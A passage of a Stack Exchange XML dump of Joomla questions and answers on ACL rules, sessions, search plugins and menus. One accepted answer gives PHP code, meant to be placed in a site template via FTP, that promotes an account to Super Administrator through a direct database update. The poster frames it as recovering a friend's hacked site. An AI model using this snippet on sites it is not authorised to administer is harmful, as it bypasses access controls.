example #1) incomplete in anyway&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-19T19:04:09.713" Title="How to correctly save and understand ACL rules when creating categories from PHP" Tags="|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4496" PostTypeId="2" ParentId="4418" CreationDate="2014-09-19T02:32:01.983" Score="1" Body="&lt;p&gt;It all seems to be tied to guest users on the site.  Adding the below code after logging out solved the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;logout();&#xA;$session =&amp;amp; JFactory::getSession();&#xA;$session-&amp;gt;destroy();&#xA;$session-&amp;gt;start();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-19T02:32:01.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4497" PostTypeId="2" ParentId="4339" CreationDate="2014-09-19T02:38:47.387" Score="0" Body="&lt;p&gt;Not sure that this is the best way, but it allowed us to be PCI compliant:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Applied a Deny permission of only “Write” to &lt;code&gt;C:\&lt;/code&gt; for our Apache user account.  &lt;/li&gt;&#xA;&lt;li&gt;Then set an Allow permission of “Full Control” for the &lt;code&gt;C:\wamp&lt;/code&gt; folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-19T02:38:47.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4498" PostTypeId="2" ParentId="4493" CreationDate="2014-09-19T03:48:57.237" Score="7" Body="&lt;p&gt;First place to start is with Joomla, if Joomla does it then you can read the code to see how it's been implemented. The current ACL model was introduced way back in the start of the 2.5 line (aka 1.6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla breaks down it's ACL functionality into &quot;viewing&quot; and &quot;doing&quot;, what you're asking about is &lt;em&gt;viewing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;com_content&lt;/code&gt; you can see that the Article view checks the view access in the view class file &lt;code&gt;ContentViewArticle&lt;/code&gt; with the following criteria:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Check the view access to the article (the model has already computed the values).&#xA;    if ($item-&amp;gt;params-&amp;gt;get('access-view') == false &amp;amp;&amp;amp; ($item-&amp;gt;params-&amp;gt;get('show_noauth', '0') == '0'))&#xA;    {&#xA;        JError::raiseWarning(403, JText::_('JERROR_ALERTNOAUTHOR'));&#xA;        return;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll note the comment that &quot;&lt;em&gt;the model has already computed the values&lt;/em&gt;&quot;, in this case the model is &lt;code&gt;ContentModelArticle&lt;/code&gt; found in &lt;code&gt;/components/com_content/models/article.php&lt;/code&gt;. Towards the end of the &lt;code&gt;getItem()&lt;/code&gt; method you will find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Compute view access permissions.&#xA;if ($access = $this-&amp;gt;getState('filter.access'))&#xA;{&#xA;    // If the access filter has been set, we already know this user can view.&#xA;    $data-&amp;gt;params-&amp;gt;set('access-view', true);&#xA;}&#xA;else&#xA;{&#xA;    // If no access filter is set, the layout takes some responsibility for display of limited information.&#xA;    $user = JFactory::getUser();&#xA;    $groups = $user-&amp;gt;getAuthorisedViewLevels();&#xA;&#xA;    if ($data-&amp;gt;catid == 0 || $data-&amp;gt;category_access === null)&#xA;    {&#xA;        $data-&amp;gt;params-&amp;gt;set('access-view', in_array($data-&amp;gt;access, $groups));&#xA;    }&#xA;    else&#xA;    {&#xA;        $data-&amp;gt;params-&amp;gt;set('access-view', in_array($data-&amp;gt;access, $groups) &amp;amp;&amp;amp; in_array($data-&amp;gt;category_access, $groups));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, depending on your extension you may have other requirements you need to check against in addition to Joomla's ACL. There's also the very reasonable expectation you want to control what users are &quot;&lt;em&gt;doing&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a better idea of the ACL the recommended reading is probably &lt;a href=&quot;http://docs.joomla.org/Access_Control_List&quot;&gt;&quot;Access Control List&quot;&lt;/a&gt; and &lt;a href=&quot;http://docs.joomla.org/J2.5:Access_Control_List_Tutorial&quot;&gt;&quot;J25: Access Control List Tutorial&quot;&lt;/a&gt; on &lt;a href=&quot;http://docs.joomla.org/&quot;&gt;Joomla's Doc's website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-09-19T03:48:57.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4499" PostTypeId="5" CreationDate="2014-09-19T06:33:09.877" Score="0" Body="&lt;p&gt;JEvents is a long established Events calendar and listing addon for Joomla. Read more on &lt;a href=&quot;http://www.jevents.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.jevents.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-19T06:33:09.877" LastActivityDate="2014-09-19T06:33:09.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4500" PostTypeId="4" CreationDate="2014-09-19T06:33:09.877" Score="0" Body="JEvents is a long established Events calendar and listing addon for Joomla." OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-19T06:33:09.877" LastActivityDate="2014-09-19T06:33:09.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4501" PostTypeId="2" ParentId="4495" CreationDate="2014-09-19T07:36:17.123" Score="2" Body="&lt;p&gt;The rules column in the assets table define the custom rules for each item individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default value of the field would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;core.create&quot;:[],&quot;core.delete&quot;:[],&quot;core.edit&quot;:[],&quot;core.edit.state&quot;:[],&quot;core.edit.own&quot;:[]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which means that all permission rules for this item inherit their permissions from the default global configuration settings as specified for each group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, there are permissions overrides by item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;core.create&quot;:{&quot;6&quot;:1,&quot;3&quot;:1},&quot;core.delete&quot;:{&quot;6&quot;:1},&quot;core.edit&quot;:{&quot;6&quot;:1,&quot;4&quot;:1},&quot;core.edit.state&quot;:{&quot;6&quot;:1,&quot;5&quot;:1},&quot;core.edit.own&quot;:{&quot;6&quot;:1,&quot;3&quot;:1}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explanation of the what a value of &lt;code&gt;core.create&quot;:{&quot;6&quot;:1,&quot;3&quot;:0}&lt;/code&gt; means:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this item the &lt;strong&gt;Group ID 6&lt;/strong&gt; has &lt;strong&gt;Create&lt;/strong&gt; permissions set to &quot;&lt;strong&gt;Allowed&lt;/strong&gt;&quot; (1), while the &lt;strong&gt;Group ID 3&lt;/strong&gt; has &lt;strong&gt;Create&lt;/strong&gt; permissions set to &quot;&lt;strong&gt;Denied&lt;/strong&gt;&quot; (0). (These permissions override the default global permissions, and all other permissions for the rest groups are inherited.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps...&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-09-19T19:04:09.713" LastActivityDate="2014-09-19T19:04:09.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4503" PostTypeId="1" CreationDate="2014-09-19T11:39:31.257" Score="2" ViewCount="1318" Body="&lt;p&gt;OK i have a major problem under Joomla 3. When i generate a search URL for tagged items i get the following message and i am missing a lot of items: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notice: Array to string conversion in /www/htdocs/w00e40a7/pc-helfer/ego-new/libraries/cms/router/site.php on line 465&lt;/strong&gt; &lt;br&gt;//** Turned error reporting off now so you don't see message anymore! **//&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL for this is: &lt;br&gt;&lt;code&gt;http://example.com/index.php?option=com_tags&amp;amp;view=tag&amp;amp;id[0]=26&amp;amp;id[1]=39&amp;amp;id[2]=64&amp;amp;id[3]=68&amp;amp;id[4]=69&amp;amp;types[0]=1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i create this search with a menu item everything is fine and the result returns me all items containing the exact tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/test2 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody knows why this problem occurs and how to solve it?&#xA;Is it a Joomla Bug?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="159" LastEditDate="2014-09-22T11:29:21.223" LastActivityDate="2014-09-22T11:29:21.223" Title="Tag view Notice: Array to string conversion in" Tags="|joomla-3.x|php|tags|error-handling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4505" PostTypeId="1" AcceptedAnswerId="4508" CreationDate="2014-09-19T14:44:16.643" Score="3" ViewCount="1627" Body="&lt;p&gt;I have been asked to make some 'emergency' changes on a Joomla! 1.5.23 website by a friend due to it being &lt;strong&gt;hacked&lt;/strong&gt;. They have given me the only login details they are aware of which is an &lt;strong&gt;Administrator&lt;/strong&gt; account. Not much use to me, read on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the changes I need to make involve having &lt;strong&gt;Super Administrator&lt;/strong&gt; privileges (such as taking the website offline, changing access levels etc). I can't create a 'Super Admin' account as I only have Admin access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't know any of the database nor hosting details. It's a bit of a mess to say the least, however I would like to try help them out. Is there anyway I can add an 'offline' page in place of the index.php? That way the site is offline at least, which is what they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ftp access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-09-19T15:04:50.260" LastActivityDate="2014-09-19T21:55:32.790" Title="Adding A Super Admin - Hacked" Tags="|joomla-1.5|account|access|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4506" PostTypeId="2" ParentId="4505" CreationDate="2014-09-19T14:54:52.960" Score="1" Body="&lt;p&gt;In which case I believe this is not possible.&lt;/p&gt;&#xA;&lt;p&gt;I would suggest you get your friend to contact the hosting provider to redeem the login details to either PhpMyAdmin or the cPanel.&lt;/p&gt;&#xA;&lt;p&gt;Once done, you will need to start recovering the password which can be done via PhpMyAdmin. The following explains this more in detail:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J1.5:How_do_you_recover_or_reset_your_admin_password%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;How do you recover or reset your admin password?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You will also need to change your account from an Admin to Super Admin. To do so, follow these instructions.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to the Joomla Admin panel, and get the user ID for the super admin group.&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;code&gt;#__users&lt;/code&gt; table in your database and find your user.&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;code&gt;usertype&lt;/code&gt; to &lt;strong&gt;Super Administrator&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;code&gt;gid&lt;/code&gt; to the ID of the super admin group you found in the backend.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I believe these is everything you will need, however bare in mind that it has honestly been years since I have ever used Joomla 1.5 so I might have accidentally missed something.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&lt;h2&gt;Note:&lt;/h2&gt;&#xA;&lt;p&gt;Make sure once you have everything sorted, you update to Joomla 1.5.26&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-19T15:20:15.000" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4507" PostTypeId="2" ParentId="4503" CreationDate="2014-09-19T19:25:02.507" Score="1" Body="&lt;p&gt;Try formatting the URL using Joomla's helper class like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_($myLink);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-09-19T19:25:02.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4508" PostTypeId="2" ParentId="4505" CreationDate="2014-09-19T21:30:12.383" Score="5" Body="&lt;p&gt;So, as promised: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Disclaimer: this is not at all best practice. It is some basic code which will work but does not at all conform to any standards of beautiful coding... Use once and delete.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make a &lt;strong&gt;backup&lt;/strong&gt; of your template's index.php if you haven't done it so far (copy and rename or whatever you like, or by all means just download it to your computer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insert the code below int the &lt;strong&gt;template's index.php&lt;/strong&gt; (via ftp, you'll find it in templates/&lt;em&gt;your template name&lt;/em&gt;/index.php). Open the website. The code will get executed and when you check back with the User Manager in the backend, you should now be Super Administrator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$db = JFactory::getDBO();&#xA;$query = &quot;UPDATE #__users SET usertype = 'Super Administrator', gid = '25' where id = '&amp;lt;your user id&amp;gt;';&quot;;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which template do I have?&lt;/strong&gt; -&gt; go to Extensions -&gt; Template Manager and see which template is marked with a yellow star.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is my user id?&lt;/strong&gt; -&gt; go to Site -&gt; User Manager, look for your username and check for the id (should be on the far right end of the entry's row)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to remove the code from your template's index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this helped! :-)&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="384" LastEditDate="2014-09-19T21:55:32.790" LastActivityDate="2014-09-19T21:55:32.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4509" PostTypeId="2" ParentId="4469" CreationDate="2014-09-19T23:24:39.490" Score="1" Body="&lt;p&gt;ChronoForms is another great forms extension.   RS Forms Pro is fantastic but requires purchase for some of the advanced features/plugins and is geared towards advanced users.   ChronoForms has a better form create wizard with recent update in my opinion. &lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-09-19T23:24:39.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4510" PostTypeId="2" ParentId="4469" CreationDate="2014-09-20T02:35:52.673" Score="1" Body="&lt;p&gt;BreezingForms from &lt;a href=&quot;http://crosstec.de/en/extensions/joomla-forms-download.html&quot; rel=&quot;nofollow&quot;&gt;Crosstec.de&lt;/a&gt; is also able to connect your forms with your Joomla Database. The QuickMode makes it easy to build forms with a series of fields, and you can add your own JavaScript/PHP functions if needed. BreezingForms is not free, but personally I find it a usefull tool for building both simple and advanced forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tutorial on how to integrate a form with your database can be found &lt;a href=&quot;http://vimeo.com/4207593&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and if you want to see how the QuickMode works to build your form you can see &lt;a href=&quot;http://vimeo.com/57196027&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; video.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-20T02:35:52.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4511" PostTypeId="2" ParentId="2212" CreationDate="2014-09-20T08:42:42.090" Score="1" Body="&lt;p&gt;What solved my problem is.. I did switch the system's &quot;URL rewriting&quot; ON (after I Had created the original menu/article), but then after that I got a 404 error when trying to change the alias, on a different day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I switched the URL rewriting off, recreated the menu/article and it worked. It may just work anyway if you try switching the URL rewtriting OFF, without recreating the menu/article.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2014-09-20T08:42:42.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4512" PostTypeId="1" AcceptedAnswerId="4540" CreationDate="2014-09-20T10:31:31.580" Score="11" ViewCount="4621" Body="&lt;p&gt;I need to insert the search module as a menu item (default menu module). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this output :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;menu item&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;menu item&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;SEARCH MODULE&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;menu item&amp;lt;/li&amp;gt;&#xA;    ...&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first thoughts would be to duplicate the default menu module twice :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;One to display menu items  before the search module without the closing &lt;code&gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; tag&lt;/li&gt;&#xA;&lt;li&gt;An other to display menu items after the search module without the opening &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; tag&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And insert the search module in between them. This doesn't seem to be the easiest and most maintainable way to achieve my aim as it requires :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3 module positions for the menu&lt;/li&gt;&#xA;&lt;li&gt;2 diferent menus in the menu manager&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know I could use some of the mega menu modules to do this but I would like to avoid third party extensions and use custom code that I can control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I add a module as a menu item in default menu?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2014-09-22T15:12:05.223" LastActivityDate="2015-02-13T07:46:35.113" Title="Module as menu item" Tags="|joomla-3.x|menu-item|menu|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4514" PostTypeId="1" CreationDate="2014-09-20T13:56:19.337" Score="4" ViewCount="2489" Body="&lt;p&gt;I'm having trouble to implement a smart search plugin for my component.&#xA;I searched and I could only find &lt;a href=&quot;https://stackoverflow.com/questions/19825980/plug-in-for-smart-search-on-joomla-no-results&quot;&gt;this question&lt;/a&gt; that looked a bit like mine, but it didn't work in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this component I have a table &lt;code&gt;#__descontos_promocoes&lt;/code&gt; from which I would like to search for the column &lt;code&gt;nome&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Finder is not indexing anything from my component. I have tried to use the command line to run &lt;code&gt;php cli/finder_indexer.php&lt;/code&gt; and I fixed every warning/error that was showing up, &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=708&amp;amp;t=841457&amp;amp;view=previous&quot; rel=&quot;nofollow noreferrer&quot;&gt;including the 'Undefined index: HTTP_HOST'&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem may be somewhere inside my function &lt;code&gt;index(FinderIndexerResult $item, $format = 'html')&lt;/code&gt; but I don't know how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me?&#xA;This is my plugin's php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;require_once JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php';&#xA;&#xA;class PlgFinderDescontosPromocoes extends FinderIndexerAdapter&#xA;{&#xA;    protected $context = 'Promocoes';&#xA;    protected $extension = 'com_descontos';&#xA;    protected $layout = 'promocoes';&#xA;    protected $type_title = 'Promocao';&#xA;    protected $table = '#__descontos_promocoes';&#xA;    protected $state_field = 'state';&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Method to index an item. The item must be a FinderIndexerResult object.&#xA;     *&#xA;     * @param   FinderIndexerResult  $item    The item to index as an FinderIndexerResult object.&#xA;     * @param   string               $format  The item format.  Not used.&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   2.5&#xA;     * @throws  Exception on database error.&#xA;     */&#xA;    protected function index(FinderIndexerResult $item, $format = 'html')&#xA;    {&#xA;        // Check if the extension is enabled.&#xA;        if (JComponentHelper::isEnabled($this-&amp;gt;extension) == false)&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $item-&amp;gt;setLanguage();&#xA;&#xA;        // Need to import component route helpers dynamically, hence the reason it's handled here.&#xA;        $path = JPATH_SITE . '/components/' . $item-&amp;gt;extension . '/helpers/route.php';&#xA;&#xA;        if (is_file($path))&#xA;        {&#xA;            include_once $path;&#xA;        }&#xA;&#xA;        $extension = ucfirst(substr($item-&amp;gt;extension, 4));&#xA;&#xA;        // Initialize the item parameters.&#xA;        $registry = new JRegistry;&#xA;        $registry-&amp;gt;loadString($item-&amp;gt;params);&#xA;        $item-&amp;gt;params = $registry;&#xA;&#xA;        $registry = new JRegistry;&#xA;        $registry-&amp;gt;loadString($item-&amp;gt;metadata);&#xA;        $item-&amp;gt;metadata = $registry;&#xA;&#xA;        /*&#xA;         * Add the meta-data processing instructions based on the category's&#xA;         * configuration parameters.&#xA;         */&#xA;        // Add the meta-author.&#xA;        $item-&amp;gt;metaauthor = $item-&amp;gt;metadata-&amp;gt;get('author');&#xA;&#xA;        // Handle the link to the meta-data.&#xA;        $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'link');&#xA;        $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'metakey');&#xA;        $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');&#xA;        $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');&#xA;        $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'author');&#xA;&#xA;        // Deactivated Methods&#xA;        // $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');&#xA;&#xA;        // // Trigger the onContentPrepare event.&#xA;        // $item-&amp;gt;summary = FinderIndexerHelper::prepareContent($item-&amp;gt;summary, $item-&amp;gt;params);&#xA;&#xA;        // // Build the necessary route and path information.&#xA;        // $item-&amp;gt;url = $this-&amp;gt;getURL($item-&amp;gt;id, $item-&amp;gt;extension, $this-&amp;gt;layout);&#xA;&#xA;        // $class = $extension . 'HelperRoute';&#xA;&#xA;        // if (class_exists($class) &amp;amp;&amp;amp; method_exists($class, 'getCategoryRoute'))&#xA;        // {&#xA;        //  $item-&amp;gt;route = $class::getCategoryRoute($item-&amp;gt;id, $item-&amp;gt;language);&#xA;        // }&#xA;        // else&#xA;        // {&#xA;        //  $item-&amp;gt;route = ContentHelperRoute::getCategoryRoute($item-&amp;gt;slug, $item-&amp;gt;catid);&#xA;        // }&#xA;&#xA;        // $item-&amp;gt;path = FinderIndexerHelper::getContentPath($item-&amp;gt;route);&#xA;&#xA;        // // Get the menu title if it exists.&#xA;        // $title = $this-&amp;gt;getItemMenuTitle($item-&amp;gt;url);&#xA;&#xA;        // // Adjust the title if necessary.&#xA;        // if (!empty($title) &amp;amp;&amp;amp; $this-&amp;gt;params-&amp;gt;get('use_menu_title', true))&#xA;        // {&#xA;        //  $item-&amp;gt;title = $title;&#xA;        // }&#xA;&#xA;        // Translate the state. Categories should only be published if the parent category is published.&#xA;        // $item-&amp;gt;state = $this-&amp;gt;translateState($item-&amp;gt;state);&#xA;&#xA;        // Add the type taxonomy data.&#xA;        $item-&amp;gt;addTaxonomy('Type', 'Promocao');&#xA;&#xA;        // Add the language taxonomy data.&#xA;        $item-&amp;gt;addTaxonomy('Language', $item-&amp;gt;language);&#xA;&#xA;        // Get content extras.&#xA;        FinderIndexerHelper::getContentExtras($item);&#xA;&#xA;        // Index the item.&#xA;        $this-&amp;gt;indexer-&amp;gt;index($item);&#xA;&#xA;&#xA;&#xA;&#xA;        /**&#xA;         * I have previously tested this function with only the code bellow (still doesn't index anything):&#xA;         */&#xA;&#xA;        // if (JComponentHelper::isEnabled($this-&amp;gt;extension) == false) {&#xA;        //  return;&#xA;        // }&#xA;&#xA;        // $item-&amp;gt;url = $this-&amp;gt;getURL($item-&amp;gt;id, 'com_descontos&amp;amp;layout=promocoes', $this-&amp;gt;layout);&#xA;        // $item-&amp;gt;route = 'index.php?option=com_descontos&amp;amp;view=promocoes&amp;amp;layout=promocoes&amp;amp;id='.$item-&amp;gt;id;&#xA;        // $item-&amp;gt;addTaxonomy('Type', 'Promocao');&#xA;        // $item-&amp;gt;addTaxonomy('Language', $item-&amp;gt;language);&#xA;        // $this-&amp;gt;indexer-&amp;gt;index($item);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to setup the indexer to be run.&#xA;     *&#xA;     * @return  boolean  True on success.&#xA;     *&#xA;     * @since   2.5&#xA;     */&#xA;    protected function setup()&#xA;    {&#xA;        // Load com_content route helper as it is the fallback for routing in the indexer in this instance.&#xA;        include_once JPATH_SITE . '/components/com_content/helpers/route.php';&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the SQL query used to retrieve the list of content items.&#xA;     *&#xA;     * @param   mixed  $query  A JDatabaseQuery object or null.&#xA;     *&#xA;     * @return  JDatabaseQuery  A database object.&#xA;     *&#xA;     * @since   2.5&#xA;     */&#xA;    protected function getListQuery($query = null)&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Check if we can use the supplied SQL query.&#xA;        $query = $query instanceof JDatabaseQuery ? $query : $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select('a.id as id, a.nome as title')&#xA;        //  -&amp;gt;select('a.id, a.catid, a.title, a.alias, a.url AS link, a.description AS summary')&#xA;        //  -&amp;gt;select('a.metakey, a.metadesc, a.metadata, a.language, a.access, a.ordering')&#xA;        //  -&amp;gt;select('a.created_by_alias, a.modified, a.modified_by')&#xA;        //  -&amp;gt;select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')&#xA;        //  -&amp;gt;select('a.state AS state, a.created AS start_date, a.params')&#xA;        //  -&amp;gt;select('c.title AS category, c.published AS cat_state, c.access AS cat_access');&#xA;&#xA;        // // Handle the alias CASE WHEN portion of the query.&#xA;        // $case_when_item_alias = ' CASE WHEN ';&#xA;        // $case_when_item_alias .= $query-&amp;gt;charLength('a.alias', '!=', '0');&#xA;        // $case_when_item_alias .= ' THEN ';&#xA;        // $a_id = $query-&amp;gt;castAsChar('a.id');&#xA;        // $case_when_item_alias .= $query-&amp;gt;concatenate(array($a_id, 'a.alias'), ':');&#xA;        // $case_when_item_alias .= ' ELSE ';&#xA;        // $case_when_item_alias .= $a_id . ' END as slug';&#xA;        // $query-&amp;gt;select($case_when_item_alias);&#xA;&#xA;        // $case_when_category_alias = ' CASE WHEN ';&#xA;        // $case_when_category_alias .= $query-&amp;gt;charLength('c.alias', '!=', '0');&#xA;        // $case_when_category_alias .= ' THEN ';&#xA;        // $c_id = $query-&amp;gt;castAsChar('c.id');&#xA;        // $case_when_category_alias .= $query-&amp;gt;concatenate(array($c_id, 'c.alias'), ':');&#xA;        // $case_when_category_alias .= ' ELSE ';&#xA;        // $case_when_category_alias .= $c_id . ' END as catslug';&#xA;        // $query-&amp;gt;select($case_when_category_alias)&#xA;&#xA;            -&amp;gt;from('#__descontos_promocoes AS a');&#xA;            // -&amp;gt;join('LEFT', '#__categories AS c ON c.id = a.catid');&#xA;&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the output from the command line: &#xA;(it indexes everything except stuff from my component)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;artur@artur-desktop:/var/www/10contos$ php5 cli/finder_indexer.php &#xA;Smart Search INDEXER&#xA;============================&#xA;&#xA;Starting Indexer&#xA;Setting up Finder plugins&#xA;Setup 9 items in 0.072 seconds.&#xA; * Processed batch 1 in 0.021 seconds.&#xA;Total Processing Time: 0.094 seconds.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even trying to index in backend inside Finder, doesn't work. I don't get any error or anything inside &lt;code&gt;/var/log/apache2/error.log&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1924" 